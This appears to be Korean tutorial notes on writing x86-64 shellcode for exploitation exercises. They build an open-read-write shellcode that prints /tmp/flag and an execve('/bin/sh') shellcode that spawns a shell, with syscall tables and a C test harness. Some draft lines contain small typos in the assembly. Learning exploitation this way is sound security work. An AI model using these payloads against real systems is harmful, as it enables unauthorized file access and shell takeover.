익스플로잇을 위해 제작된 어셈블리 코드 조각을 일컫는다.
파일을 열고, 읽은 뒤 화면에 출력해주는 셸코드.
/tmp/flag를 읽는 셸코드를 작성해보자.
char buf[0x30]
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);
syscall | rax | arg0(rdi) | arg1(rsi) | arg2(rdx) |
---|---|---|---|---|
read | 0x00 | unsigned int fd | char *buf | size_t count |
write | 0x01 | unsigned int fd | const char *buf | size_t count |
open | 0x02 | const char *filename | int flags | umode_t mode |
/tmp/flag
라는 문자열을 메모리에 push한다.
스택에 0x616c662f706d742f67(/tmp/flag)
push해야한다.
하지만 스택에는 8바이트 단위로만 값을 push할 수 있으므로 0x67
을 먼저 넣고 0x616c662f706d742f
를 push한다.
그리고 rdi
가 이를 가리키도록 rsp를 rdi로 옮긴다.
rsi
는 0
rdx
는 0
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp | rdi = "/tmp/flag"
xor rsi, rsi | rsi = 0; RD_ONLY
xor rdx, rdx | rdx = 0
mov rax, 2 | rax = 2; syscall_open
syscall | open("/tmp/flag", FD_ONLY, NULL)
rax
로 저장된다. 따라서 1번에서 open으로 획득한 /tmp/flag의 fd는 rax
에 저장된다.rax
이므로 rdi
에 rax
를 대입한다.rsi
는 파일에서 읽은 데이터를 저장할 주소를 가리킨다. 0x30만큼 읽기 때문에 rsi에 rsp-0x30을 대입한다.mov rdi, rax | rdi = fd(rax)
mov rsi, rsp
sub rsi. 0x30 | rsi = rsp - 0x30
mov rdx, 0x30 | rdx = 0x40; len
mov rax, 0x00 | rax = 0; syscall_read
syscall
rdi
를 1로 설정한다.rsi
와 rdx
는 read에서 사용한 값을 그대로 사용한다.rax
를 1로 설정한다.mov rdi, 1 |rdi = 1; fd = stdout
mov rax, 0x1 | rax = 1; syscall_write
syscall | write(fd, buf, 0x30)
__asm__(
".global run_sh\n"
"run_sh:\n"
"Input your shellcode here.\n"
"Each line of your shellcode should be\n"
"seperated by '\n'\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
__asm__(
".global run_sh\n"
"run_sh:\n"
"push 0x67\n"
"mov rax, 0x616c662f706d742f \n"
"push rax\n"
"mov rdi, rsp # rdi = '/tmp/flag'\n"
"xor rsi, rsi # rsi = 0 ; RD_ONLY\n"
"xor rdx, rdx # rdx = 0\n"
"mov rax, 2 # rax = 2 ; syscall_open\n"
"syscall # open('/tmp/flag', RD_ONLY, NULL)\n"
"\n"
"mov rdi, rax # rdi = fd\n"
"mov rsi, rsp\n"
"sub rsi, 0x30 # rsi = rsp-0x30 ; buf\n"
"mov rdx, 0x30 # rdx = 0x30 ; len\n"
"mov rax, 0x0 # rax = 0 ; syscall_read\n"
"syscall # read(fd, buf, 0x30)\n"
"\n"
"mov rdi, 1 # rdi = 1 ; fd = stdout\n"
"mov rax, 0x1 # rax = 1 ; syscall_write\n"
"syscall # write(fd, buf, 0x30)\n"
"\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
셸을 획득하면 시스템을 제어할 수 있게 되므로 통상적으로 셸 획득을 시스템 해킹의 성동으로 여긴다.
syscall | rax | arg0(rdi) | arg1(rsi) | arg2(rdx) |
---|---|---|---|---|
execve | 0x3b | const char *filename | const char const argv | const_char const envp |
argv
는 실행 파일에 넘겨줄 인자, envp
는 환경변수 이다.mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp | rdi = "/bin/sh\x00"
xor rsi, rsi | rsi = NULL
xor rdx, rdx | rdx = NULL
mov rax, 0x3b | rax = sys_execve
syscall | execve("/bin/sh", null, null)